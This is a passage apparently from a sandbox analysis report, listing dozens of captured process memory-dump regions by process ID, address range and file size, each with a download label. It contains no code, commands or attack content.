                                                                                                                                                                                                                                                • memory/1224-263-0x00000205E8AB0000-0x00000205E8B21000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/1236-241-0x0000022F797D0000-0x0000022F79841000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/1400-259-0x0000022832E00000-0x0000022832E71000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/1720-135-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/1848-261-0x000001DCE6240000-0x000001DCE62B1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2224-136-0x0000000000EB0000-0x0000000000EB2000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2272-201-0x0000000004776000-0x0000000004877000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  1.0MB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2272-203-0x0000000004980000-0x00000000049DD000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  372KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2396-251-0x000001288D810000-0x000001288D881000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2404-242-0x0000020ED7810000-0x0000020ED7881000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2428-311-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2496-119-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2680-246-0x000001F6BF630000-0x000001F6BF6A1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2740-252-0x0000012787130000-0x00000127871A1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2824-216-0x00000213EF3F0000-0x00000213EF461000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/2824-209-0x00000213EF330000-0x00000213EF37C000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  304KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/3064-123-0x0000000002DA0000-0x0000000002DA2000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/3748-126-0x0000000000400000-0x000000000043B000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  236KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/3752-144-0x00000000014F4000-0x00000000014F5000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/3752-141-0x00000000014F0000-0x00000000014F2000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/3752-143-0x00000000014F2000-0x00000000014F4000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-342-0x0000000002990000-0x0000000002991000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-345-0x00000000053F0000-0x00000000053F1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-344-0x0000000009FC0000-0x0000000009FC1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-330-0x00000000009A0000-0x00000000009A1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-340-0x0000000005350000-0x00000000053A1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  324KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-346-0x0000000005450000-0x0000000005451000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4252-333-0x0000000002B20000-0x0000000002B21000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4472-295-0x0000000000BA0000-0x0000000001207000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4532-281-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  436KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4576-286-0x0000000000400000-0x0000000000451000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  324KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4608-291-0x0000000000400000-0x000000000045F000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  380KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4720-305-0x0000000000800000-0x000000000081F000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4720-284-0x00000000000C0000-0x00000000000C1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4720-298-0x00000000005E0000-0x00000000005E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4720-308-0x00000000005F0000-0x00000000005F1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/4824-312-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5172-313-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  48KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5344-219-0x0000015BA6850000-0x0000015BA68C1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  452KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5508-161-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-178-0x0000000005080000-0x0000000005081000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-185-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-184-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-174-0x0000000005040000-0x0000000005041000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-183-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-172-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-181-0x00000000050B0000-0x00000000050B1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-180-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-177-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-171-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-176-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-187-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-179-0x0000000005090000-0x0000000005091000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-182-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-173-0x0000000005030000-0x0000000005031000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-186-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-169-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-167-0x0000000003930000-0x000000000396C000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  240KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-175-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/5616-170-0x0000000005000000-0x0000000005001000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6072-325-0x0000000000B00000-0x0000000000B01000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6072-337-0x0000000002B70000-0x0000000002B9D000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  180KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6120-339-0x00000000058D0000-0x00000000058D1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6120-335-0x000000000B3B0000-0x000000000B3B1000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6120-334-0x0000000001860000-0x0000000001870000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6120-332-0x0000000001850000-0x0000000001851000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6120-328-0x0000000000F80000-0x0000000000F81000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                • memory/6120-336-0x000000000AF90000-0x000000000AF91000-memory.dmp

                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                  Download